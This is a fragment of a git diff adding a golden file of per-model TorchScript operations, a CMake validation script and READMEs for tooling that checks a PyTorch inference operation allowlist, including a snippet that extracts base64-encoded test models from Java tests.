"aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-eis-elser-v2": { + "model_id": "elastic/eis-elser-v2", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-elser-v2": { + "model_id": "elastic/elser-v2", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-elser-v2-quantized": { + "model_id": "elastic/elser-v2", + "quantized": true, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::mul_", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor", + "quantized::linear_dynamic" + ] + }, + "elastic-hugging-face-elser": { + "model_id": "elastic/hugging-face-elser", + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-multilingual-e5-small-optimized": { + "model_id": "elastic/multilingual-e5-small-optimized", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-rerank-v1": { + "model_id": ".rerank-v1", + "quantized": false, + "ops": [ + "aten::Int", + "aten::__and__", + "aten::abs", + "aten::add", + "aten::add_", + "aten::arange", + "aten::bitwise_not", + "aten::bmm", + "aten::ceil", + "aten::clamp", + "aten::contiguous", + "aten::div", + "aten::embedding", + "aten::eq", + "aten::expand", + "aten::floor_divide", + "aten::gather", + "aten::gelu", + "aten::gt", + "aten::layer_norm", + "aten::le", + "aten::linear", + "aten::log", + "aten::lt", + "aten::masked_fill", + "aten::masked_fill_", + "aten::mul", + "aten::ne", + "aten::neg", + "aten::permute", + "aten::repeat", + "aten::select", + "aten::sign", + "aten::size", + "aten::slice", + "aten::softmax", + "aten::sqrt", + "aten::squeeze", + "aten::sub", + "aten::tensor", + "aten::to", + "aten::transpose", + "aten::type_as", + "aten::unsqueeze", + "aten::view", + "aten::where", + "prim::Constant", + "prim::If", + "prim::ListConstruct", + "prim::NumToTensor", + "prim::device", + "prim::dtype" + ] + }, + "elastic-splade-v3": { + "model_id": "elastic/splade-v3", + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-test-elser-v2": { + "model_id": "elastic/test-elser-v2", + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "electra": { + "model_id": "google/electra-small-discriminator", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "mobilebert": { + "model_id": "google/mobilebert-uncased", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::cat", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::ge", + "aten::index", + "aten::linear", + "aten::mul", + "aten::new_ones", + "aten::pad", + "aten::relu", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "aten::zeros", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor", + "prim::TupleConstruct", + "prim::TupleUnpack" + ] + }, + "mpnet": { + "model_id": "microsoft/mpnet-base", + "quantized": false, + "ops": [ + "aten::abs", + "aten::add", + "aten::add_", + "aten::arange", + "aten::contiguous", + "aten::cumsum", + "aten::div", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::full_like", + "aten::gelu", + "aten::layer_norm", + "aten::linear", + "aten::log", + "aten::lt", + "aten::matmul", + "aten::min", + "aten::mul", + "aten::ne", + "aten::neg", + "aten::permute", + "aten::rsub", + "aten::select", + "aten::size", + "aten::slice", + "aten::softmax", + "aten::sub", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::type_as", + "aten::unsqueeze", + "aten::view", + "aten::where", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct" + ] + }, + "roberta": { + "model_id": "roberta-base", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::cumsum", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::mul", + "aten::ne", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::type_as", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "xlm-roberta": { + "model_id": "xlm-roberta-base", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::cumsum", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::mul", + "aten::ne", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::type_as", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "multilingual-e5-small": { + "model_id": "intfloat/multilingual-e5-small", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "multilingual-e5-small-eland": { + "model_id": "intfloat/multilingual-e5-small", + "quantized": false, + "eland_task_type": "text_embedding", + "ops": [ + "aten::Int", + "aten::add", + "aten::add_", + "aten::cat", + "aten::clamp", + "aten::clamp_min", + "aten::div", + "aten::embedding", + "aten::expand", + "aten::expand_as", + "aten::gelu", + "aten::layer_norm", + "aten::linalg_vector_norm", + "aten::linear", + "aten::masked_fill", + "aten::mul", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::sub", + "aten::sum", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "jina-embeddings-v5-text-nano": { + "model_id": "jinaai/jina-embeddings-v5-text-nano", + "quantized": false, + "ops": [ + "aten::Int", + "aten::add", + "aten::arange", + "aten::cat", + "aten::contiguous", + "aten::cos", + "aten::detach", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::floor_divide", + "aten::linear", + "aten::masked_fill", + "aten::matmul", + "aten::mean", + "aten::mul", + "aten::neg", + "aten::pow", + "aten::reshape", + "aten::rsqrt", + "aten::scaled_dot_product_attention", + "aten::silu", + "aten::sin", + "aten::size", + "aten::slice", + "aten::sub", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor", + "prim::TupleConstruct", + "prim::TupleUnpack" + ] + }, + "qa-tinyroberta-squad2": { + "model_id": "deepset/tinyroberta-squad2", + "quantized": false, + "ops": [ + "aten::add", + "aten::add_", + "aten::contiguous", + "aten::cumsum", + "aten::detach", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gelu", + "aten::layer_norm", + "aten::linear", + "aten::masked_fill", + "aten::mul", + "aten::ne", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::split", + "aten::squeeze", + "aten::sub", + "aten::to", + "aten::transpose", + "aten::type_as", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::GetAttr", + "prim::ListConstruct", + "prim::ListUnpack", + "prim::TupleConstruct" + ], + "auto_class": "AutoModelForQuestionAnswering" + }, + "qa-bart-large-mnli": { + "model_id": "facebook/bart-large-mnli", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::add", + "aten::arange", + "aten::clone", + "aten::contiguous", + "aten::copy_", + "aten::detach", + "aten::dropout", + "aten::embedding", + "aten::eq", + "aten::expand", + "aten::fill_", + "aten::full", + "aten::gelu", + "aten::gt", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::masked_fill", + "aten::masked_fill_", + "aten::mul", + "aten::mul_", + "aten::new_zeros", + "aten::ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::sub", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::triu", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor", + "prim::TupleConstruct", + "prim::TupleUnpack" + ] + }, + "qa-distilbart-mnli": { + "model_id": "valhalla/distilbart-mnli-12-6", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::add", + "aten::arange", + "aten::clone", + "aten::contiguous", + "aten::copy_", + "aten::detach", + "aten::dropout", + "aten::embedding", + "aten::eq", + "aten::expand", + "aten::fill_", + "aten::full", + "aten::gelu", + "aten::gt", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::masked_fill", + "aten::masked_fill_", + "aten::mul", + "aten::mul_", + "aten::new_zeros", + "aten::ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::sub", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::triu", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor", + "prim::TupleConstruct", + "prim::TupleUnpack" + ] + }, + "qa-squeezebert-mnli": { + "model_id": "typeform/squeezebert-mnli", + "quantized": false, + "ops": [ + "aten::Int", + "aten::_convolution", + "aten::add", + "aten::contiguous", + "aten::div", + "aten::dropout", + "aten::embedding", + "aten::gelu", + "aten::layer_norm", + "aten::linear", + "aten::matmul", + "aten::mul", + "aten::permute", + "aten::rsub", + "aten::select", + "aten::size", + "aten::slice", + "aten::softmax", + "aten::tanh", + "aten::to", + "aten::unsqueeze", + "aten::view", + "aten::zeros", + "prim::Constant", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor", + "prim::TupleConstruct" + ] + } + } +} diff --git a/cmake/run-validation.cmake b/cmake/run-validation.cmake new file mode 100644 index 0000000000..2fd9b3b23f --- /dev/null +++ b/cmake/run-validation.cmake @@ -0,0 +1,204 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# + +# Portable CMake script that locates a Python 3 interpreter, ensures a +# virtual environment with the required packages exists, and then runs +# validate_allowlist.py. +# +# Required variables (passed via -D on command line): +# SOURCE_DIR - path to the repository root +# +# Optional variables: +# VALIDATE_CONFIG - path to validation_models.json +# VALIDATE_PT_DIR - directory of .pt files to validate +# VALIDATE_VERBOSE - if TRUE, pass --verbose to the script +# OPTIONAL - if TRUE, skip gracefully when Python >= 3.10 is +# not found or dependency installation fails +# (instead of failing the build). Intended for use +# when this script is invoked as part of a broader +# test target where the environment may not have +# Python or network access. + +cmake_minimum_required(VERSION 3.19.2) + +if(NOT DEFINED SOURCE_DIR) + message(FATAL_ERROR "SOURCE_DIR must be defined") +endif() + +# Helper: emit a FATAL_ERROR or a WARNING+return depending on OPTIONAL. +macro(_validation_fail _msg) + if(DEFINED OPTIONAL AND OPTIONAL) + message(WARNING "Skipping validation: ${_msg}") + return() + else() + message(FATAL_ERROR "${_msg}") + endif() +endmacro() + +set(_tools_dir "${SOURCE_DIR}/dev-tools/extract_model_ops") +set(_venv_dir "${_tools_dir}/.venv") +set(_requirements "${_tools_dir}/requirements.txt") +set(_validate_script "${_tools_dir}/validate_allowlist.py") + +# --- Locate a Python 3.10+ interpreter --- +# Prefer versioned names first so a PATH "python3" that is 3.8/3.9 is not +# chosen ahead of python3.10+. On Linux build machines Python may only be +# available as python3.12 (installed via make altinstall). On Windows the +# canonical name is often just "python". validate_allowlist.py uses +# Python >= 3.10 syntax (e.g. X | None), so older 3.x must be rejected. +find_program(_python_path + NAMES python3.12 python3.11 python3.10 python3 python + DOC "Python 3 interpreter (>= 3.10)" +) + +if(NOT _python_path) + _validation_fail( + "No Python 3 interpreter found on PATH.\n" + "Install Python 3.10 or newer, or ensure it is on your PATH.") +endif() + +# Verify major.minor >= 3.10 (guards against Python 2 and Python 3.8/3.9). +execute_process( + COMMAND "${_python_path}" --version + OUTPUT_VARIABLE _py_version_out + ERROR_VARIABLE _py_version_out + RESULT_VARIABLE _py_rc + OUTPUT_STRIP_TRAILING_WHITESPACE +) +if(NOT _py_rc EQUAL 0 OR NOT _py_version_out MATCHES "Python ([0-9]+)\\.([0-9]+)") + _validation_fail( + "Found ${_python_path} but could not parse a Python version (${_py_version_out}).") +endif() +set(_py_major "${CMAKE_MATCH_1}") +set(_py_minor "${CMAKE_MATCH_2}") +if(_py_major LESS 3 OR (_py_major EQUAL 3 AND _py_minor LESS 10)) + _validation_fail( + "Found ${_python_path} (${_py_version_out}) but Python >= 3.10 is required " + "for extract_model_ops validation tooling.") +endif() +message(STATUS "Found Python ${_py_major}.${_py_minor}: ${_python_path} (${_py_version_out})") + +# --- Platform-specific venv paths --- +if(CMAKE_HOST_WIN32) + set(_venv_python "${_venv_dir}/Scripts/python.exe") + set(_venv_pip "${_venv_dir}/Scripts/pip.exe") +else() + set(_venv_python "${_venv_dir}/bin/python3") + set(_venv_pip "${_venv_dir}/bin/pip") +endif() + +# --- Create virtual environment if it does not exist --- +if(NOT EXISTS "${_venv_python}") + message(STATUS "Creating virtual environment in ${_venv_dir} ...") + execute_process( + COMMAND "${_python_path}" -m venv "${_venv_dir}" + RESULT_VARIABLE _venv_rc + ) + if(NOT _venv_rc EQUAL 0) + _validation_fail("Failed to create virtual environment (exit ${_venv_rc})") + endif() +endif() + +# --- Install / update dependencies when requirements.txt is newer --- +set(_stamp "${_venv_dir}/.requirements.stamp") +set(_needs_install FALSE) + +if(NOT EXISTS "${_stamp}") + set(_needs_install TRUE) +else() + file(TIMESTAMP "${_requirements}" _req_ts "%Y%m%d%H%M%S" UTC) + file(TIMESTAMP "${_stamp}" _stamp_ts "%Y%m%d%H%M%S" UTC) + if(_req_ts STRGREATER _stamp_ts) + set(_needs_install TRUE) + endif() +endif() + +if(_needs_install) + message(STATUS "Installing/updating Python dependencies ...") + execute_process( + COMMAND "${_venv_pip}" install --quiet --upgrade pip + RESULT_VARIABLE _pip_rc + ) + if(NOT _pip_rc EQUAL 0) + message(WARNING "pip upgrade failed (exit ${_pip_rc}) — continuing anyway") + endif() + + execute_process( + COMMAND "${_venv_pip}" install --quiet -r "${_requirements}" + RESULT_VARIABLE _pip_rc + ) + if(NOT _pip_rc EQUAL 0) + _validation_fail( + "Failed to install dependencies from ${_requirements} (exit ${_pip_rc}).\n" + "This may indicate no network access is available.") + endif() + + file(WRITE "${_stamp}" "installed") +endif() + +# --- Ensure the venv's torch libraries take precedence --- +# When a locally-built libtorch is installed in a system path (e.g. +# /usr/local/lib on macOS), the pip-installed torch package's +# libtorch_python will pick up the wrong libtorch_cpu at load time. +# Prepending the venv's torch/lib directory to the dynamic library +# search path forces the pip-bundled libraries to be found first. +if(CMAKE_HOST_WIN32) + set(_venv_site_packages "${_venv_dir}/Lib/site-packages") +else() + # Query the venv Python for its site-packages directory rather than + # globbing, which can yield a semicolon-separated list of paths. + execute_process( + COMMAND "${_venv_python}" -c "import sysconfig; print(sysconfig.get_path('purelib'))" + OUTPUT_VARIABLE _venv_site_packages + OUTPUT_STRIP_TRAILING_WHITESPACE + RESULT_VARIABLE _sp_rc + ) + if(NOT _sp_rc EQUAL 0 OR _venv_site_packages STREQUAL "") + _validation_fail("Could not determine venv site-packages directory") + endif() +endif() +set(_torch_lib_dir "${_venv_site_packages}/torch/lib") + +if(EXISTS "${_torch_lib_dir}") + if(CMAKE_HOST_APPLE) + set(ENV{DYLD_LIBRARY_PATH} "${_torch_lib_dir}:$ENV{DYLD_LIBRARY_PATH}") + elseif(NOT CMAKE_HOST_WIN32) + set(ENV{LD_LIBRARY_PATH} "${_torch_lib_dir}:$ENV{LD_LIBRARY_PATH}") + endif() + message(STATUS "Prepended ${_torch_lib_dir} to dynamic library search path") +endif() + +# --- Build the command line for validate_allowlist.py --- +set(_cmd "${_venv_python}" "${_validate_script}") + +if(DEFINED VALIDATE_CONFIG) + list(APPEND _cmd "--config" "${VALIDATE_CONFIG}") +endif() + +if(DEFINED VALIDATE_PT_DIR) + list(APPEND _cmd "--pt-dir" "${VALIDATE_PT_DIR}") +endif() + +if(DEFINED VALIDATE_VERBOSE AND VALIDATE_VERBOSE) + list(APPEND _cmd "--verbose") +endif() + +message(STATUS "Running: ${_cmd}") + +execute_process( + COMMAND ${_cmd} + WORKING_DIRECTORY "${SOURCE_DIR}" + RESULT_VARIABLE _validate_rc +) + +if(NOT _validate_rc EQUAL 0) + _validation_fail("Validation failed (exit ${_validate_rc})") +endif() diff --git a/dev-tools/extract_model_ops/.gitignore b/dev-tools/extract_model_ops/.gitignore new file mode 100644 index 0000000000..21d0b898ff --- /dev/null +++ b/dev-tools/extract_model_ops/.gitignore @@ -0,0 +1 @@ +.venv/ diff --git a/dev-tools/extract_model_ops/README.md b/dev-tools/extract_model_ops/README.md new file mode 100644 index 0000000000..f7b7f2f39c --- /dev/null +++ b/dev-tools/extract_model_ops/README.md @@ -0,0 +1,166 @@ +# extract_model_ops + +Developer tools for maintaining and validating the TorchScript operation +allowlist in `bin/pytorch_inference/CSupportedOperations.cc`. + +This directory contains two scripts that share the same Python environment: + +| Script | Purpose | +|---|---| +| `extract_model_ops.py` | Generate the C++ `ALLOWED_OPERATIONS` set from reference models | +| `validate_allowlist.py` | Verify the allowlist accepts all supported models (no false positives) | + +## Setup + +Create a Python virtual environment and install the dependencies: + +```bash +cd dev-tools/extract_model_ops +python3 -m venv .venv +source .venv/bin/activate +pip install -r requirements.txt +``` + +If any of the reference models are gated, set a HuggingFace token: + +```bash +export HF_TOKEN="hf_..." +``` + +## extract_model_ops.py + +Traces each model in `reference_models.json`, collects the TorchScript +operations from the inlined forward graph, and outputs the union as a +sorted list or a ready-to-paste C++ initializer. + +### When to run + +- A new transformer architecture is added to the supported set. +- The PyTorch (libtorch) version used by ml-cpp is upgraded. +- You need to inspect which operations a particular model uses. + +### Usage + +```bash +# Print the sorted union of all operations (default) +python3 extract_model_ops.py + +# Print a ready-to-paste C++ initializer list +python3 extract_model_ops.py --cpp + +# Also show per-model breakdowns +python3 extract_model_ops.py --per-model --cpp + +# Generate the golden file for the C++ allowlist drift test +python3 extract_model_ops.py --golden \ + ../../bin/pytorch_inference/unittest/testfiles/reference_model_ops.json + +# Use a custom config file +python3 extract_model_ops.py --config /path/to/models.json +``` + +## validate\_allowlist.py + +Parses `ALLOWED_OPERATIONS` and `FORBIDDEN_OPERATIONS` directly from +`CSupportedOperations.cc`, then traces every model in a config file and +checks that each model's operations are accepted. Exits non-zero if +any model would be rejected (a false positive). + +### When to run + +- After regenerating `ALLOWED_OPERATIONS` with `extract_model_ops.py`. +- After adding new models to `validation_models.json`. +- As a pre-merge check for any PR that touches the allowlist or the + graph validation logic. + +### Usage + +```bash +# Validate against the default set (validation_models.json) +python3 validate_allowlist.py + +# Validate with verbose per-model op counts +python3 validate_allowlist.py --verbose + +# Validate against a custom model set +python3 validate_allowlist.py --config /path/to/models.json +``` + +The script can also be run via the CMake `validate_pytorch_inference_models` +target, which automatically locates a Python 3 interpreter, creates a venv, +and installs dependencies — no manual setup required: + +```bash +cmake --build cmake-build-relwithdebinfo -t validate_pytorch_inference_models +``` + +The CMake target searches for `python3`, `python3.12`, `python3.11`, +`python3.10`, `python3.9`, and `python` (in that order), accepting the +first one that reports Python 3.x. This handles Linux build machines +where Python is only available as `python3.12` (via `make altinstall`) +as well as Windows where the canonical name is `python`. + +## Configuration files + +| File | Used by | Purpose | +|---|---|---| +| `reference_models.json` | `extract_model_ops.py` | Models whose ops form the allowlist | +| `validation_models.json` | `validate_allowlist.py` | Superset including task-specific models (NER, sentiment) from `bin/pytorch_inference/examples/` | + +Each file maps a short architecture name to a HuggingFace model identifier: + +```json +{ + "bert": "bert-base-uncased", + "roberta": "roberta-base" +} +``` + +To add a new architecture, append an entry to `reference_models.json`, +re-run `extract_model_ops.py --cpp`, and update `CSupportedOperations.cc`. +Then add the same entry (plus any task-specific variants) to +`validation_models.json` and run `validate_allowlist.py` to confirm +there are no false positives. Finally, regenerate the golden file +(see below). + +## Golden file for allowlist drift detection + +The C++ test `testAllowlistCoversReferenceModels` loads a golden JSON +file containing per-architecture op sets and verifies every op is in +`ALLOWED_OPERATIONS` and none are in `FORBIDDEN_OPERATIONS`. This +catches allowlist regressions in CI without requiring Python or network +access. + +The golden file lives at: +`bin/pytorch_inference/unittest/testfiles/reference_model_ops.json` + +### When to regenerate + +- After upgrading the PyTorch (libtorch) version. +- After adding or removing a supported architecture. +- After modifying `ALLOWED_OPERATIONS` or `FORBIDDEN_OPERATIONS`. + +### How to regenerate + +```bash +cd dev-tools/extract_model_ops +source .venv/bin/activate +python3 extract_model_ops.py --golden \ + ../../bin/pytorch_inference/unittest/testfiles/reference_model_ops.json +``` + +If the regenerated file introduces ops not in the allowlist, the C++ +test will fail until `CSupportedOperations.cc` is updated. + +## How it works + +1. Each reference model is loaded via `transformers.AutoModel` with + `torchscript=True` in the config. +2. The model is traced with `torch.jit.trace` using a short dummy input + (falls back to `torch.jit.script` if tracing fails). +3. All method calls in the forward graph are inlined via + `torch._C._jit_pass_inline` so that operations inside submodules + are visible. +4. Every node's operation name (`node.kind()`) is collected, recursing + into sub-blocks (e.g. inside `prim::If` / `prim::Loop` nodes). +5. The union across all models is reported. diff --git a/dev-tools/extract_model_ops/es_it_models/README.md b/dev-tools/extract_model_ops/es_it_models/README.md new file mode 100644 index 0000000000..a3997d2efa --- /dev/null +++ b/dev-tools/extract_model_ops/es_it_models/README.md @@ -0,0 +1,41 @@ +# Elasticsearch Integration Test Models + +Pre-saved TorchScript `.pt` files extracted from the base64-encoded models +in the Elasticsearch Java integration tests. These are tiny synthetic models +(not real transformer architectures) used to test the `pytorch_inference` +loading and evaluation pipeline. + +| File | Source | Description | +|------|--------|-------------| +| `supersimple_pytorch_model_it.pt` | `PyTorchModelIT.java` | Returns `torch.ones` of shape `(batch, 2)` | +| `tiny_text_expansion.pt` | `TextExpansionQueryIT.java` | Sparse weight vector sized by max input ID | +| `tiny_text_embedding.pt` | `TextEmbeddingQueryIT.java` | Random 100-dim embedding seeded by input hash | + +## Regenerating + +If the Java test models change, re-extract them by running the generation +snippet from this repository's root: + +```bash +python3 -c " +import re, base64, os + +JAVA_DIR = '/x-pack/plugin/ml/qa/native-multi-node-tests/src/javaRestTest/java/org/elasticsearch/xpack/ml/integration' +OUTPUT_DIR = 'dev-tools/extract_model_ops/es_it_models' + +SOURCES = { + 'supersimple_pytorch_model_it.pt': ('PyTorchModelIT.java', 'BASE_64_ENCODED_MODEL'), + 'tiny_text_expansion.pt': ('TextExpansionQueryIT.java', 'BASE_64_ENCODED_MODEL'), + 'tiny_text_embedding.pt': ('TextEmbeddingQueryIT.java', 'BASE_64_ENCODED_MODEL'), +} +os.makedirs(OUTPUT_DIR, exist_ok=True) +for out_name, (java_file, var_name) in SOURCES.items(): + with open(os.path.join(JAVA_DIR, java_file)) as f: + src = f.read() + m = re.search(rf'{var_name}\s*=\s*(\".*?\");', src, re.DOTALL) + b64 = re.sub(r'\"\s*\+\s*\"', '', m.group(1)).strip('\"').replace('\n', '').replace(' ', '') + with open(os.path.join(OUTPUT_DIR, out_name), 'wb') as f: + f.write(base64.b64decode(b64)) + print(f'Wrote {out_name}') +" +``` diff --git a/dev-tools/extract_model_ops/es_it_models/supersimple_pytorch_model_it.pt b/dev-tools/extract_model_ops/es_it_models/supersimple_pytorch_model_it.pt new file mode 100644 index 0000000000..0eecbb1b3f Binary files /dev/null and b/dev-tools/extract_model_ops/es_it_models/supersimple_pytorch_model_it.pt differ diff --git a/dev-tools/extract_model_ops/es_it_models/tiny_text_embedding.pt b/dev-tools/extract_model_ops/es_it_models/tiny_text_embedding.pt new file mode 100644 index 0000000000..933a50b95a Binary files /dev/null and b/dev-tools/extract_model_ops/es_it_models/tiny_text_embedding.pt differ diff --git a/dev-tools/extract_model_ops/es_it_models/tiny_text_expansion.pt b/dev-tools/extract_model_ops/es_it_models/tiny_text_expansion.pt new file mode 100644 index 0000000000..a4c0abe6a4 Binary files /dev/null and b/dev-tools/extract_model_ops/es_it_models/tiny_text_expansion.pt differ diff --git 